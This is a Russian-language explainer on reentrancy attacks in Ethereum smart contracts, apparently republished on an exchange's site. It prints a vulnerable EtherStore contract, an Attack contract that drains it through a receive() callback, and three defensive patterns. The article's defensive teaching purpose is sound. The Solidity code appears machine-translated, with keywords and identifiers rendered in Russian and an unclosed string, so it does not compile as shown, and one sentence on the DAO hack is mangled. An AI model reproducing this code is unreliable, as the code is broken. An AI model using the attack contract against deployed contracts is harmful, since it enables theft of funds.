Атаки повторного входа в Смарт-контрактах: понимание уязвимости и внедрение стратегий предотвращения

Атаки повторного входа представляют собой одну из самых известных уязвимостей в безопасности смарт-контрактов, ответственных за миллионы украденных средств в различных блокчейн-протоколах. Эта статья исследует механику уязвимостей повторного входа и представляет собой комплексные методы предотвращения, которые разработчики, озабоченные безопасностью, должны реализовать.

Что такое атака повторного входа?

В своей основе атака повторного входа происходит, когда функция в смарт-контракте вызывается повторно до завершения её предыдущего выполнения. Основная уязвимость возникает, когда смарт-контракт вызывает внешний контракт до разрешения собственных изменений состояния, создавая возможность для эксплуатации.

В типичном сценарии Контракт A взаимодействует с Контрактом B, вызывая одну из его функций. Критическая уязвимость безопасности возникает, когда Контракт B получает возможность вызвать обратно Контракт A, пока Контракт A все еще выполняет свою исходную функцию. Этот рекурсивный паттерн взаимодействия создает основу для потенциальной эксплуатации.

Как работают атаки повторного входа: пошаговый разбор

Рассмотрим следующий сценарий: Контракт A в общей сложности держит 10 ETH, при этом Контракт B внес 1 ETH в Контракт A. Уязвимость становится эксплуатируемой, когда Контракт B пытается вывести свои средства через следующую последовательность:

  1. Контракт B вызывает функцию withdraw() в Контракте A
  2. Контракт A проверяет, что баланс Контракта B больше 0 (пройден проверку)
  3. Контракт A отправляет ETH в Контракт B, вызывая функцию обратного вызова Контракта B
  4. Прежде чем Контракт A сможет обновить баланс Контракта B до нуля, функция обратного вызова в Контракте B снова вызывает withdraw()
  5. Контракт A проверяет баланс Контракта B, который все еще показывает 1 ETH (не обновлен)
  6. Процесс повторяется, пока средства Контракта A не будут исчерпаны.

Ключевая уязвимость заключается в том, что обновление баланса происходит после перевода ETH, что позволяет злоумышленнику использовать один и тот же баланс несколько раз, прежде чем он будет установлен на ноль.

Анатомия атаки: техническая реализация

Давайте рассмотрим уязвимый шаблон кода:

солидность // Уязвимый контракт EtherStore контракт EtherStore { mapping(address = > uint) государственных балансов;

функция deposit() публичная payable {
    balances[msg.sender] += msg.value;
}

функция withdrawAll() публичная {
    uint bal = balances[msg.sender];
    require(bal > 0);
    
    // Уязвимость: Внешний вызов перед обновлением состояния
    (bool отправлено, ) = msg.sender.call{value: bal}("");
    require(sent, "Не удалось отправить Эфир");
    
    // Обновление состояния происходит слишком поздно
    balances[msg.sender] = 0;
}

}

Теперь давайте посмотрим, как злоумышленник может использовать эту уязвимость:

солидность // Атакующий контракт, использующий уязвимость повторного входа контракт Attack { EtherStore публичный etherStore;

конструктор(адрес _etherStoreAddress) {
    etherStore = EtherStore(_etherStoreAddress);
}

// Функция резервирования, которая вызывается, когда EtherStore отправляет Эфир
receive() внешняя платёжная {
    если(адрес(эфирХранилище).баланс >= 1 ether) {
        // Повторно введите функцию withdrawAll
        etherStore.withdrawAll();
    }
}

функция attack() внешняя платежеспособная {
    require(msg.value >= 1 ether);
    
    // Депозит для установления баланса в EtherStore
    etherStore.deposit{значение: 1 эфир}();
    
    // Начать процесс вывода, запуская атаку повторного входа
    etherStore.withdrawAll();
}

}

Последовательность атаки начинается, когда атакующий вызывает attack(). Это вносит 1 ETH для установления баланса и затем вызывает withdrawAll(). Когда EtherStore возвращает ETH, это запускает функцию receive() в контракте Attack, которая снова вызывает withdrawAll() до обновления баланса. Этот цикл продолжается, пока EtherStore не будет истощен от средств.

Комплексные методы предотвращения

Безопасные разработчики могут реализовать три надежные техники для защиты от уязвимостей повторного входа:

1. Защита на уровне функций: Модификатор nonReentrant

Наиболее распространенной защитой на уровне отдельной функции является реализация охранника повторного входа:

солидность контракт ReentrancyGuard { bool private locked = false;

модификатор nonReentrant() {
    require(!locked, "Повторный звонок");
    заблокировано = true;
    _;
    locked = false;
}

// Примените этот модификатор к уязвимым функциям
функция withdrawFunds() публичный nonReentrant {
    // Код функции защищен от повторного входа
}

}

Этот подход эффективно блокирует контракт во время выполнения функции, предотвращая любые рекурсивные вызовы до тех пор, пока функция не завершится и не разблокирует состояние.

2. Межфункциональная защита: Шаблон проверки-эффектов-взаимодействий

Этот основной шаблон безопасности реорганизует код, чтобы устранить уязвимости в нескольких функциях:

солидность // УЯЗВИМАЯ РЕАЛИЗАЦИЯ функция withdrawAll() общедоступная { uint bal = balances[msg.sender]; require(bal > 0);

(bool отправлено, ) = msg.sender.call{value: bal}("");
require(sent, "Не удалось отправить Эфир");

balances[msg.sender] = 0; // Обновление состояния после взаимодействия

}

// БЕЗОПАСНАЯ РЕАЛИЗАЦИЯ функция withdrawAll() публичный { uint bal = balances[msg.sender]; require(bal > 0); // Проверяет

balances[msg.sender] = 0; // Эффекты (изменения состояния)

(булл отправлено, ) = msg.sender.call{value: bal}(""); // Взаимодействия
require(отправлено, "Не удалось отправить Эфир");

}

Следуя шаблону Проверки-Эффекты-Взаимодействия, контракт обновляет свое состояние перед любыми внешними взаимодействиями, что гарантирует, что даже если злоумышленник попытается повторно войти, он столкнется с обновленным состоянием (ноль баланса).

3. Защита на уровне проекта: Глобальная защита от повторного входа

Для сложных проектов с несколькими взаимодействующими контрактами реализация глобальной защиты от повторных вызовов обеспечивает защиту на уровне всей системы:

солидность контракт GlobalReentrancyGuard { bool private _notEntered = true;

модификатор globalNonReentrant() {
    require(_notEntered, "ReentrancyGuard: reentrant call );
    _notEntered = ложь;
    _;
    _notEntered = истина;
}

}

// Все контракты в проекте наследуются от GlobalReentrancyGuard контракт SecureContract is GlobalReentrancyGuard { function vulnerableOperation() public globalNonReentrant { // Защищено от повторного входа по всему проекту } }

Этот подход особенно ценен для защиты от атак повторного входа между контрактами в DeFi-протоколах, где несколько контрактов взаимодействуют друг с другом.

Реальное влияние уязвимостей повторного входа

Уязвимости повторного входа привели к некоторым из самых разрушительных атак в истории блокчейна. Печально известный взлом DAO в 2016 году привел к краже примерно 3,6 миллиона ETH (, стоивших около $50 миллиона на тот момент ) и в конечном итоге привел к хардфорку Ethereum, который создал Ethereum Classic.

В 2020 году Протокол Lendf.Me потерял примерно $25 миллионов из-за атаки повторного входа, что подчеркивает, что несмотря на повышенное внимание, эти уязвимости продолжают представлять собой значительные риски для безопасности смарт-контрактов.

Лучшие практики безопасности

Помимо перечисленных конкретных техник, разработчики должны следовать этим дополнительным практикам безопасности:

  1. Всегда используйте последнюю версию Solidity, которая предлагает улучшенные функции безопасности
  2. Субъект контракты подлежат тщательным проверкам безопасности авторитетными фирмами
  3. Реализуйте комплексное тестовое покрытие, включая модульные тесты для крайних случаев
  4. Начните с минимального воздействия ETH при развертывании новых контрактов в производственной среде
  5. Рассмотрите формальную верификацию для высокоценных контрактов

Внедряя эти защитные техники и следуя лучшим практикам безопасности, разработчики могут значительно снизить риск атак повторного входа и создать более безопасные смарт-контракты для блокчейн-приложений.

ETH0.88%
ETC0.56%
Посмотреть Оригинал
На этой странице может содержаться сторонний контент, который предоставляется исключительно в информационных целях (не в качестве заявлений/гарантий) и не должен рассматриваться как поддержка взглядов компании Gate или как финансовый или профессиональный совет. Подробности смотрите в разделе «Отказ от ответственности» .
  • Награда
  • комментарий
  • Репост
  • Поделиться
комментарий
0/400
Нет комментариев
  • Закрепить